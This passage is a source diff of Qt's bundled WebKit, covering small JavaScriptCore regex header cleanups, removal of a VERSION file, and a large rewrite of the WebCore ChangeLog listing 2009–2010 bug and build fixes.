diff --git a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexJIT.h b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexJIT.h
index 1872f21..fd765bc 100644
--- a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexJIT.h
+++ b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexJIT.h
@@ -26,8 +26,6 @@
 #ifndef RegexJIT_h
 #define RegexJIT_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(YARR_JIT)
 
 #include "MacroAssembler.h"
@@ -37,7 +35,7 @@
 #include <pcre.h>
 struct JSRegExp; // temporary, remove when fallback is removed.
 
-#if PLATFORM(X86) && !COMPILER(MSVC)
+#if CPU(X86) && !COMPILER(MSVC)
 #define YARR_CALL __attribute__ ((regparm (3)))
 #else
 #define YARR_CALL
diff --git a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexParser.h b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexParser.h
index 64e8463..c946c2e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexParser.h
+++ b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexParser.h
@@ -26,14 +26,12 @@
 #ifndef RegexParser_h
 #define RegexParser_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(YARR)
 
 #include <UString.h>
+#include <limits.h>
 #include <wtf/ASCIICType.h>
 #include <wtf/unicode/Unicode.h>
-#include <limits.h>
 
 namespace JSC { namespace Yarr {
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexPattern.h b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexPattern.h
index a451131..2e8f468 100644
--- a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexPattern.h
+++ b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexPattern.h
@@ -26,7 +26,6 @@
 #ifndef RegexPattern_h
 #define RegexPattern_h
 
-#include <wtf/Platform.h>
 
 #if ENABLE(YARR)
 
@@ -137,7 +136,7 @@ struct PatternTerm {
 
     PatternTerm(unsigned spatternId)
         : type(TypeBackReference)
-        , invertOrCapture(invertOrCapture)
+        , invertOrCapture(false)
     {
         subpatternId = spatternId;
         quantityType = QuantifierFixedCount;
diff --git a/src/3rdparty/webkit/VERSION b/src/3rdparty/webkit/VERSION
deleted file mode 100644
index a2d5f37..0000000
--- a/src/3rdparty/webkit/VERSION
+++ /dev/null
@@ -1,11 +0,0 @@
-This is a snapshot of the Qt port of WebKit from
-
-        git://gitorious.org/qtwebkit/qtwebkit.git
-
-The commit imported was from the
-
-        qtwebkit/qtwebkit-4.6 branch/tag
-
-and has the sha1 checksum
-
-        266a6c4f1938dd9edf4a8125faf91c62495e3ce2
diff --git a/src/3rdparty/webkit/WebCore/ChangeLog b/src/3rdparty/webkit/WebCore/ChangeLog
index a3f70d3..f52872c 100644
--- a/src/3rdparty/webkit/WebCore/ChangeLog
+++ b/src/3rdparty/webkit/WebCore/ChangeLog
@@ -1,22763 +1,12298 @@
-2010-03-11  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] Avoid double-buffering with Qt image decoders
-
-        Pass QIODevice::Unbuffered when opening the QBuffer that
-        wraps the image data, to hint to Qt that no extra buffering
-        is needed.
-
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::setData):
-
-2010-01-14  Diego Gonzalez  <diego.gonzalez@openbossa.org>
-
-        Reviewed by Kenneth Christiansen.
-
-        [Qt] Missing fileSystemPath() method in Qt KURL implementation
-        https://bugs.webkit.org/show_bug.cgi?id=33614
-
-        No new tests.
-
-        * platform/qt/KURLQt.cpp:
-        (WebCore::KURL::fileSystemPath):
-
-2010-02-01  Andreas Kling  <andreas.kling@nokia.com>
+2010-04-09  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        Reviewed by Kenneth Rohde Christiansen.
-
-        [Qt] In the StyledPainter determine the style from the Render and Scrollbar theme instead of from the paint device
-        https://bugs.webkit.org/show_bug.cgi?id=34054
-
-        Getting the style from the painter's paint device is a hack that breaks when
-        the paint device's style is different than the style that is used when
-        calculating the metries earlier when there is no painter available.
-
-        This change moves us closer to always using the same style.
-
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::StylePainter::StylePainter):
-        (WebCore::StylePainter::init):
-        (WebCore::RenderThemeQt::paintButton):
-        (WebCore::RenderThemeQt::paintTextField):
-        (WebCore::RenderThemeQt::paintMenuList):
-        (WebCore::RenderThemeQt::paintMenuListButton):
-        (WebCore::RenderThemeQt::paintSliderTrack):
-        (WebCore::RenderThemeQt::paintMediaMuteButton):
-        (WebCore::RenderThemeQt::paintMediaPlayButton):
-        (WebCore::RenderThemeQt::paintMediaSliderTrack):
-        (WebCore::RenderThemeQt::paintMediaSliderThumb):
-        * platform/qt/RenderThemeQt.h:
-        * platform/qt/ScrollbarThemeQt.cpp:
-        (WebCore::ScrollbarThemeQt::paint):
-        (WebCore::ScrollbarThemeQt::hitTest):
-        (WebCore::ScrollbarThemeQt::shouldCenterOnThumb):
-        (WebCore::ScrollbarThemeQt::scrollbarThickness):
-        (WebCore::ScrollbarThemeQt::thumbLength):
-        (WebCore::ScrollbarThemeQt::trackPosition):
-        (WebCore::ScrollbarThemeQt::trackLength):
-        (WebCore::ScrollbarThemeQt::paintScrollCorner):
-        (WebCore::ScrollbarThemeQt::style):
-        * platform/qt/ScrollbarThemeQt.h:
-
-2010-01-25  Simon Hausmann  <hausmann@webkit.org>
-
-        Reviewed by Kenneth Rohde Christiansen.
-
-        [Qt] Use the fallback style on Maemo 5
+        Reviewed by Simon Fraser.
 
-        https://bugs.webkit.org/show_bug.cgi?id=34376
+        Remove "all" value from the view-mode media feature (as agreed on
+        1-Apr-2010) in the Widgets voice conf.
 
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::RenderThemeQt):
-        (WebCore::RenderThemeQt::fallbackStyle):
-        (WebCore::RenderThemeQt::qStyle):
-        (WebCore::RenderThemeQt::setPaletteFromPageClientIfExists):
-        * platform/qt/RenderThemeQt.h:
+        * css/CSSValueKeywords.in:
+        * css/MediaQueryEvaluator.cpp:
+        (WebCore::view_modeMediaFeatureEval):
 
-2010-01-29  Oswald Buddenhagen <oswald.buddenhagen@nokia.com>
+2010-04-09  Tasuku Suzuki  <tasuku.suzuki@nokia.com>
 
         Reviewed by Simon Hausmann.
 
-        [Qt] Speed up the WebCore::String -> QString conversion
+        [Qt]Fix compile error with QT_NO_PROPERTIES
+        https://bugs.webkit.org/show_bug.cgi?id=36526
 
-        Use QString(const QChar *, int len) constructor instead of QString::fromUtf16 to
-        avoid BOM checks and byteswapping.
+        Disable dynamic properties when QT_NO_PROPERTIES is defined.
 
         * bridge/qt/qt_class.cpp:
         (JSC::Bindings::QtClass::fieldNamed):
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::convertValueToQVariant):
-
-2010-01-14  Andreas Kling  <andreas.kling@nokia.com>
-
-        Reviewed by Kenneth Rohde Christiansen.
-
-        [Qt] Enable scrolling optimization for pages with embedded widgets
-
-        https://bugs.webkit.org/show_bug.cgi?id=33373
-
-        Added a basic manual test for scrolling of embedded QWidgets.
-
-        * manual-tests/qt/qtplugin-scrolling.html: Added.
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::scrollContents):
-        (WebCore::ScrollView::setParent):
-        * platform/ScrollView.h:
-        * platform/qt/ScrollViewQt.cpp:
-        (WebCore::ScrollView::platformInit):
-        (WebCore::ScrollView::platformAddChild):
-        (WebCore::ScrollView::platformRemoveChild):
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::updatePluginWidget):
-        (WebCore::PluginView::invalidateRect):
-
-2010-01-29  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Turn off websocket support by default for Qt 4.6.x
-        https://bugs.webkit.org/show_bug.cgi?id=34284
-
-        * WebCore.pro:
-
-2010-01-26  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] JavaScript prompt is currently broken.
-        https://bugs.webkit.org/show_bug.cgi?id=30914
-
-        Remove the manual test case in favor of an automated
-        test case in WebKit/qt/tests/qwebpage.
-
-        * manual-tests/qt/java-script-prompt.html: Removed.
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtInstance::getPropertyNames):
+        (JSC::Bindings::QtField::name):
+        (JSC::Bindings::QtField::valueFromInstance):
+        (JSC::Bindings::QtField::setValueToInstance):
+        * bridge/qt/qt_runtime.h:
+        (JSC::Bindings::QtField::):
 
-2010-01-25  Janne Koskinen  <janne.p.koskinen@digia.com>
+2010-03-25  Tasuku Suzuki  <tasuku.suzuki@nokia.com>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Eric Seidel.
 
-        [Qt] Phone backup support for QtWebkit for Symbian devices.
-        https://bugs.webkit.org/show_bug.cgi?id=34077
+        [Qt]Fix compile error with QT_NO_ANIMATION
+        https://bugs.webkit.org/show_bug.cgi?id=36526
 
-        * WebCore.pro:
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQtImpl::~GraphicsLayerQtImpl):
+        * platform/graphics/qt/GraphicsLayerQt.h:
 
-2010-01-21  Thiago Macieira  <thiago.macieira@nokia.com>
+2010-04-09  David Leong  <david.leong@nokia.com>
 
         Reviewed by Simon Hausmann.
 
-        [Qt] Fix incorrect dependency to QtXmlPatterns in generated include/QtWebKit/QtWebKit header
-
-        The generated file includes QtXmlPatterns/QtXmlPatterns, which is neither used/required by
-        the public QtWebKit API nor will it be available if Qt is configured with -no-xmlpatterns.
+        [Qt] Symbian apps crash on exit due to a bad qObject_cast.
 
-        * WebCore.pro: Trick syncqt to believe that xmlpatterns is not a dependency, so that it's not
-        included in the generated file. It'll still be used and linked to with this trick.
+        https://bugs.webkit.org/show_bug.cgi?id=37303
 
-2010-01-17  Srinidhi Shreedhara  <srinidhi.shreedhara@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] [Symbian] SetWindow call in npapi plugin does not happen when the cooridnates are negative
-        https://bugs.webkit.org/show_bug.cgi?id=33573
+        Added check for NULL to avoid the crash.
 
         * plugins/symbian/PluginViewSymbian.cpp:
-        (WebCore::PluginView::setNPWindowIfNeeded): Remove tests for negative
-        coordinates for early return.
-
-2010-01-14  Norbert Leser  <norbert.leser@nokia.com>
-
-        Reviewed by Laszlo Gombos.
-
-        Platform Symbian specific:
-        Added time-based optimization (-Otime) and increased optimization level to -O3,
-        conditionally for RVCT compiler (for ARM), for increasing performance
-        (primarily affecting JavaScript execution).
-        Default settings are -Ospace and -O2.
-
-        No new tests needed because no new funtionality is introduced,
-        only potential regression on existing tests needs to be evaluated.
-
-        * WebCore.pro:
+        (WebCore::PluginView::platformDestroy):
 
-2010-01-13  Girish Ramakrishnan  <girish@forwardbias.in>
+2010-04-09  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
         Reviewed by Simon Hausmann.
 
-        [Qt/Win] Flash in QGraphicsWebView does not process hover correctly.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=33591
-        
-        Mouse hover does not work as expected with the flash in some sites.
-        - http://www.bbc.co.uk/ Hover over the map
-        - http://www.barbie.com/ Hover over the menu items (Games, Videos)
-        The problem appears to be that Flash queries NPNVnetscapeWindow on every
-        mouse hover. I do not how flash uses this value but returning 0 when flash
-        is in windowless mode solves the problem (When using QGraphicsWebView we
-        inject wmode opaque, thereby putting the plugin in windowless mode).
+        [Qt] Fix crashes with package builds in release
 
-        * plugins/win/PluginViewWin.cpp:
-        (windowHandleForPageClient):
+        * WebCore.pro: Don't add NDEBUG to the defines here, add it from JavaScriptCore.pri
 
-2010-01-13  Miikka Heikkinen <miikka.heikkinen@digia.com>
+2010-04-09  Andras Becsi  <abecsi@webkit.org>
 
         Reviewed by Simon Hausmann.
 
-        [Qt/Symbian] Added missing vendor information to qtwebkit.sis
-
-        This information is necessary to Symbian sign the package.
-
-        http://bugreports.qt.nokia.com/browse/QTBUG-7290
-
-        * WebCore.pro:
-
-2010-01-12  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Adam Barth.
-
-        [Qt] XSL stylesheets can load documents from a different origin
-
-        https://bugs.webkit.org/show_bug.cgi?id=33423
-
-        * xml/XSLTProcessorQt.cpp:
-        (WebCore::XSLTUriResolver::XSLTUriResolver):
-        (WebCore::XSLTUriResolver::resolve):
-        (WebCore::XSLTProcessor::transformToString):
-
-2010-01-07  Yael Aharon  <yael.aharon@nokia.com>
-
-        Reviewed by Kenneth Rohde Christiansen.
-
-        [Qt] Allow the application to override online/offline network status
-        https://bugs.webkit.org/show_bug.cgi?id=32684
-
-        Added API to NetworkStateNotifier for forcing network status.
-
-        * platform/network/NetworkStateNotifier.h:
-        * platform/network/qt/NetworkStateNotifierPrivate.h:
-        * platform/network/qt/NetworkStateNotifierQt.cpp:
-        (WebCore::NetworkStateNotifierPrivate::NetworkStateNotifierPrivate):
-        (WebCore::NetworkStateNotifierPrivate::onlineStateChanged):
-        (WebCore::NetworkStateNotifierPrivate::networkAccessPermissionChanged):
-        (WebCore::NetworkStateNotifier::updateState):
-        (WebCore::NetworkStateNotifier::NetworkStateNotifier):
-        (WebCore::NetworkStateNotifier::setNetworkAccessAllowed):
-
-2010-01-07  Simon Hausmann  <simon.hausmann@nokia.com>
+        [Qt] User agent style sheets are crippled by moc -E in make-css-file-arrays.pl
+        https://bugs.webkit.org/show_bug.cgi?id=37296
 
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] Fix linkage against Qt mobility API bearer management module
-
-        Use the documented .pro file syntax to link against the correct
-        library and (more importantly) get the include paths correct.
-
-        * WebCore.pro:
-
-2010-01-07  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        Do not use moc to preprocess user agent style sheets because it removes at-symbols
+        and hexadecimal colours from declarations.
+        Remove unneeded preprocessor usage from make-css-file-arrays.pl since the script
+        processes default css files using regular expressions therefore preprocessing is redundant.
 
-        Reviewed by NOBODY (OOPS!).
+        * WebCore.pri: remove --preprocessor usage
+        * css/make-css-file-arrays.pl: remove gcc dependency
 
-        [RVCT] ACID3 test crash
-        https://bugs.webkit.org/show_bug.cgi?id=33280
+2010-04-01  Antonio Gomes  <tonikitoo@webkit.org>
 
-        Workaround developed by Yongjun Zhang.
-
-        * dom/Element.cpp:
-        (WebCore::Element::setAttribute):
-
-2010-01-06  Simon Hausmann  <simon.hausmann@nokia.com>
+        Reviewed by David Hyatt.
 
-        Unreviewed trivial Qt build fix.
+        [Qt] REGRESSION:(r50665) QWebFrame::setScrollBarPolicy(Qt::Vertical,Qt::ScrollBarAlwaysOff) has no effect.
+        https://bugs.webkit.org/show_bug.cgi?id=29431
 
-        Prefix the phonon includes with phonon/ to avoid conflicts with the S60
-        audio routing API ( http://wiki.forum.nokia.com/index.php/Audio_Routing_API ).
+        Test: fast/overflow/scrollbar-restored-and-then-locked.html
 
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        Patch introduces a lock scrollbars concept to ScrollView, as in WebDynamicScrollBarsView.mm/h
+        on WebKit/mac. It is needed because in QtWebKit, we have Api for setting both vertical and
+        horizontal scrollbars on/off/auto. When it is set to off, for example, it should remain
+        as such, unless unset.
 
-2009-12-31  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        For the locking concept, optional 'lock' parameters were added to setScrollbarModes,
+        setHorizontalScrollbarMode and setVerticalScrollbarMode methods of ScrollView. As these
+        are all optional, any previous code calling them do not need modification.
 
-        Reviewed by Kenneth Rohde Christiansen.
+        Two optional parameters were also added to Frame's createView method, for horizontal and vertical
+        lock state persistence cross page loads.
 
-        Do not include Frame.h under WebCore/html/canvas
-        https://bugs.webkit.org/show_bug.cgi?id=33082
-
-        No new tests, as there is no new functionality.
-
-        * html/canvas/CanvasRenderingContext2D.cpp:
+        * page/Frame.cpp:
+        (WebCore::Frame::createView):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::ScrollView):
+        (WebCore::ScrollView::setScrollbarModes):
+        (WebCore::ScrollView::setHorizontalScrollbarMode):
+        (WebCore::ScrollView::setVerticalScrollbarMode):
+        * platform/ScrollView.h:
+        (WebCore::ScrollView::setHorizontalScrollbarLock):
+        (WebCore::ScrollView::isHorizontalScrollbarLocked):
+        (WebCore::ScrollView::setVerticalScrollbarLock):
+        (WebCore::ScrollView::isVerticalScrollbarLocked):
+        (WebCore::ScrollView::setScrollingModesLocked):
 
-2009-12-30  Janne Koskinen  <janne.p.koskinen@digia.com>
+2010-04-08  Jarkko Sakkinen  <jarkko.sakkinen@tieto.com>
 
         Reviewed by Simon Hausmann.
 
-        [Qt] Add support for Symbian def files
-
-        * WebCore.pro:
-
-2009-12-30  Simon Hausmann  <simon.hausmann@nokia.com>
+         [Qt] Remove shaderSource manipulation from GraphicsContext3DQt.cpp
+         https://bugs.webkit.org/show_bug.cgi?id=37226
 
-        Unreviewed Qt/Symbian build fix.
+        * platform/graphics/qt/GraphicsContext3DQt.cpp:
+        (WebCore::GraphicsContext3D::shaderSource):
 
-        Don't build network state notifier support when building inside of Qt.
-        Otherwise the Qt build depends on an external module that itself depends
-        on Qt again.
-
-        * WebCore.pro:
-
-2009-12-30  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+2010-04-07  Rodrigo Belem  <rodrigo.belem@openbossa.org>
 
         Reviewed by Simon Hausmann.
 
-        Turn off DataGrid support by default.
-
-        No new tests, as there is no new functionality.
-
-        * WebCore.pro:
-
-2009-12-17  Yael Aharon  <yael.aharon@nokia.com>
-
-        Reviewed by Kenneth Rohde Christiansen.
-
-        [Qt] support navigator.onLine and ononline/onoffline events.
-        https://bugs.webkit.org/show_bug.cgi?id=32555
+        [Qt] The build system is not installing the generated headers (QGraphicsWebView, QWebDatabase, etc)
+        https://bugs.webkit.org/show_bug.cgi?id=37173
 
-        Hooked up Bearer Management to NetworkStateNotifier. This solution is available 
-        only if QtMobility's Bearer Management is installed.
+        This patch sets the correct path to the classheaders.pri and then
+        fixes the installation of the generated headers.
 
         * WebCore.pro:
-        * platform/network/NetworkStateNotifier.h:
-        * platform/network/qt/NetworkStateNotifierPrivate.h: Added.
-        * platform/network/qt/NetworkStateNotifierQt.cpp: Added.
-        (WebCore::NetworkStateNotifierPrivate::NetworkStateNotifierPrivate):
-        (WebCore::NetworkStateNotifierPrivate::onlineStateChanged):
-        (WebCore::NetworkStateNotifierPrivate::~NetworkStateNotifierPrivate):
-        (WebCore::NetworkStateNotifier::updateState):
-        (WebCore::NetworkStateNotifier::NetworkStateNotifier):
-
-2009-12-17  Simon Hausmann  <simon.hausmann@nokia.com>
 
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] Symbian build fix: Don't include QtXml/qxmlstream.h but omit the prefix, to
-        make sure we pick up the header file from QtCore. That is where the implementation
-        is compiled.
-
-        * dom/XMLTokenizer.h:
-
-2009-12-14  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Reviewed by Kenneth Rohde Christiansen.
-
-        [Qt] Add manual test for JavaScript prompt corner case
-        https://bugs.webkit.org/show_bug.cgi?id=30914
-
-        The patch is based on the work done by Gupta Manish.
-
-        Verify behavior of the JavaScript prompt function. Currently
-        Qt is not behaving like other WebKit ports and Firefox in
-        regards to accepting the prompt but not entering a text.
-
-        * manual-tests/qt/java-script-prompt.html: Added.
-
-2009-12-21  Andreas Kling  <andreas.kling@nokia.com>
+2010-04-07  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
         Reviewed by Darin Adler.
 
-        Fix assertion failure when dragging an SVG image.
-        https://bugs.webkit.org/show_bug.cgi?id=32511
-
-        Test: fast/images/drag-svg-as-image.html
-
-        * svg/graphics/SVGImage.cpp:
-        (WebCore::SVGImage::filenameExtension): Return "svg"
-        * svg/graphics/SVGImage.h:
-
-2009-11-23  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Kenneth Rohde Christiansen.
-
-        [Qt] Wrong runtime instance objects of wrapped QObjects may be used if
-        the wrapped object died before the gc removed the instance.
-
-        https://bugs.webkit.org/show_bug.cgi?id=31681
-
-        Before using a cached instance, verify that its wrapped QObject is
-        still alive.
-
-        * bridge/qt/qt_instance.cpp:
-        (JSC::Bindings::QtInstance::getQtInstance):
-        * bridge/qt/qt_instance.h:
-        (JSC::Bindings::QtInstance::hashKey):
-
-2009-11-25  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Fix crash of QtWebKit on any page with Flash when compiled with MinGW.
-
-        Fix inline assembly, don't dereference the function pointer twice.
-
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::hookedBeginPaint):
-        (WebCore::PluginView::hookedEndPaint):
-
-2009-11-22  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Adam Barth.
-
-        [Qt] Remove the Referer header when redirecting to a non-secure site
-        https://bugs.webkit.org/show_bug.cgi?id=31785
-
-        This makes Qt pass two tests introduced in r50226.
+        Poor rendering on lala.com with frame flattening
+        https://bugs.webkit.org/show_bug.cgi?id=37164
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
-
-2009-11-19  Olivier Goffart  <ogoffart@trolltech.com>
-
-        Reviewed by Simon Hausmann.
+        Do not flatten offscreen iframes.
 
-        [Qt] Normalize signal and slot signatures.
+        Test: fast/frames/flattening/iframe-flattening-offscreen.html
 
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::flattenFrame):
+        * rendering/RenderPartObject.h:
 
-2009-11-18  Benjamin Poulain  <benjamin.poulain@nokia.com>
+2010-04-07  Dawit Alemayehu  <adawit@kde.org>
 
         Reviewed by Simon Hausmann.
 
-        [Qt] WebKit crashes when loading certain SVG images
-
-        Check if the familly exist before creating the PlatformData from it.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29443
-
-        Test: svg/text/text-font-invalid.html
-
-        * platform/graphics/qt/FontFallbackListQt.cpp:
-        (WebCore::FontFallbackList::fontDataAt):
-
-2009-11-14  Antonio Gomes  <tonikitoo@webkit.org>
-
-        Reviewed by Antti Koivisto.
-
-        [Qt] Broken back/forward after using ErrorPageExtension to set error page
-        https://bugs.webkit.org/show_bug.cgi?id=30573
-
-        Make FrameLoader::checkLoadCompleteForThisFrame method
-        to check for any working DocumentLoader instance (through
-        activeDocumentLoader()) instead of only checking for
-        'm_provisionalDocumentLoader' in order to decide to if
-        it is going to reset of not the back and forward history.
-        after an error page has been loaded.
-
-        Test: LayoutTests/fast/history/back-forward-reset-after-error-handling.html
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::checkLoadCompleteForThisFrame):
-
-2009-11-09  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Kenneth Rohde Christiansen.
+        https://bugs.webkit.org/show_bug.cgi?id=36827
 
-        [Qt] Few classes have virtual functions but non-virtual destructor
-        https://bugs.webkit.org/show_bug.cgi?id=31269
+        Replaced the 'shouldTreatAsAttachment' function with a more generic 
+        function that returns the content disposition type.
 
-        No new tests as there is no functional change.
+        See comments 39-42 in https://bugs.webkit.org/show_bug.cgi?id=36395
 
-        * platform/qt/QWebPageClient.h:
-        (QWebPageClient::~QWebPageClient): Add virtual destructor.
+        * platform/network/HTTPParsers.cpp:
+        (WebCore::contentDispositionType):
+        * platform/network/HTTPParsers.h:
+        (WebCore::):
 
-2009-11-09  Yael Aharon  <yael.aharon@nokia.com>
+2010-04-07  Simon Hausmann  <simon.hausmann@nokia.com>
 
-        Reviewed by Kenneth Rohde Christiansen.
+        Reviewed by Laszlo Gombos.
 
-        [Qt] Allow setting HTTP headers with empty value in XMLHTTPRequest
-        https://bugs.webkit.org/show_bug.cgi?id=31140
+        https://bugs.webkit.org/show_bug.cgi?id=36750
 
-        QtNetwork interprets null string as request to remove the header, not add it.
-        Replace null values with empty values before passing them to QtNetwork.
+        [Qt] Package build without touch support is broken
 
-        Test: http/tests/xmlhttprequest/xmlhttprequest-setrequestheader-no-value.html
+        Use the conditional attribute instead of #ifdefs in the idl file for the
+        touch specific properties, to make the generated files compile with and
+        without the touch events enabled.
 
-        * platform/network/qt/ResourceRequestQt.cpp:
-        (WebCore::ResourceRequest::toNetworkRequest):
+        * dom/Document.idl: Use conditional instead of #ifdef.
+        * dom/Element.idl: Ditto.
+        * page/DOMWindow.idl: Ditto.
 
-2009-11-05  Jakub Wieczorek  <faw217@gmail.com>
+2010-04-07  Simon Hausmann  <simon.hausmann@nokia.com>
 
         Reviewed by Holger Freyther.
 
-        [Qt] The XML tokenizer reports a parse error twice if it occurs before the document element is found.
-        https://bugs.webkit.org/show_bug.cgi?id=31144
-
-        XMLTokenizer::doEnd() uses an additional logic to report a parse failure in
-        documents that end prematurely but are not considered invalid by QXmlStream.
-        This is to stay compatible with the libxml2 implementation.
-        However, that code path would be also hit in situations when it should not,
-        i.e. the error would have already been caught and handled. As a result, the
-        same error would be reported twice.
-
-        No new tests, because the problem is already covered by
-        fast/parser/xml-declaration-missing-ending-mark.html.
-
-        * dom/XMLTokenizerQt.cpp:
-        (WebCore::XMLTokenizer::doEnd):
-
-2009-11-05  Yuta Kitamura  <yutak@chromium.org>
+        Add the touch event related IDL files to the idl generation, so that
+        they can be safely included from generated JS bindings files. The
+        generated files have #ifdef feature guards.
 
-        Reviewed by Eric Seidel.
-
-        Fix ASSERT(currentStyle = renderStyle()).
-        https://bugs.webkit.org/show_bug.cgi?id=31152
-
-        * dom/Element.cpp:
-        (WebCore::Element::pseudoStyleCacheIsInvalid): We should have used "==" instead of "=".
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
 
-2009-11-04  Yael Aharon  <yael.aharon@nokia.com>
+2010-03-25  yael aharon  <yael.aharon@nokia.com>
 
-        Reviewed by Tor Arne Vestbø.
+        Reviewed by Laszlo Gombos.
 
-        [Qt] ASSERT failure when receiving 401 HTTP Authentication response.
-        https://bugs.webkit.org/show_bug.cgi?id=31077
+        [Qt] Windowed netscape plugins don't work with QGraphicsWebView on Symbian
+        https://bugs.webkit.org/show_bug.cgi?id=35112
 
-        Allow sending the response body under the same conditions that we
-        allow it to finish without reporting an error.
+        Add a proxy widget when loading a QWidget based plugin in a QGraphicsWebView.
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+        * plugins/symbian/PluginContainerSymbian.cpp:
+        (PluginContainerSymbian::PluginContainerSymbian):
+        (PluginContainerSymbian::focusInEvent):
+        * plugins/symbian/PluginContainerSymbian.h:
+        (WebCore::PluginContainerSymbian::proxy):
+        * plugins/symbian/PluginViewSymbian.cpp:
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::platformDestroy):
 
-2009-11-03  Evan Martin  <evan@chromium.org>
+2010-04-06  Simon Hausmann  <simon.hausmann@nokia.com>
 
         Reviewed by Darin Adler.
 
-        Fix an off-by-one in the CSS lexer that causes memory corruption in
-        hard-to-trigger circumstances.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30827
-
-        Test: fast/css/end-of-buffer-crash.html
-
-        * css/maketokenizer: Add comments, fix off-by-one.
-
-2009-11-02  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Crash due to double-destroy related to CSS run-in property
-        https://bugs.webkit.org/show_bug.cgi?id=31034
-        rdar://problem/7328458
-
-        Test: fast/css/run-in-crash.html
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::destroy): Reorder destruction so the
-        continuation is destroyed after anonymous children. See comment
-        in the code for more details of why this is right.
-        * rendering/RenderInline.cpp:
-        (WebCore::RenderInline::destroy): Ditto.
-
-2009-10-30  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Holger Hans Peter Freyther.
-
-        If the owner widget of the page has a palette set, we
-        should use that one. This was only working when the
-        owner was a QWebView. This patch fixes that.
-
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::applyTheme):
-
-2009-10-29  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Oliver Hunt.
-
-        [GTK] Threading problems with some of the tests
-        https://bugs.webkit.org/show_bug.cgi?id=30814
-
-        Create strings shared among threads with crossThreadString
-        constructor method.
-
-        * storage/Database.cpp:
-        (WebCore::Database::Database):
-
-2009-10-30  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by NOBODY (OOPS!).
-
-        [Qt] Use the default timeout interval for JS as the HTML tokenizer delay for setHtml()
-
-        This ensures that long-running JavaScript (for example due to a modal alert() dialog),
-        will not trigger a deferred load after only 500ms (the default tokenizer delay) while
-        still giving a reasonable timeout (10 seconds) to prevent deadlock.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29381
-
-        * html/HTMLTokenizer.cpp: Change debug output to print the actual tokenizer delay
+        JS code generator does not support feature conditional attributes that are writable
+        https://bugs.webkit.org/show_bug.cgi?id=37149
 
-2009-10-30  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by NOBODY (OOPS!).
-
-        Clear the initial request when loading synchronously to prevent duplicate loads
-
-        MainResourceLoader uses the member m_initialRequest to store a request for future
-        deferred loads. When doing a synchronous load, in handleDataLoadNow(), we therefore
-        have to clear this request so that subsequent entries into the loader will not start
-        yet another load.
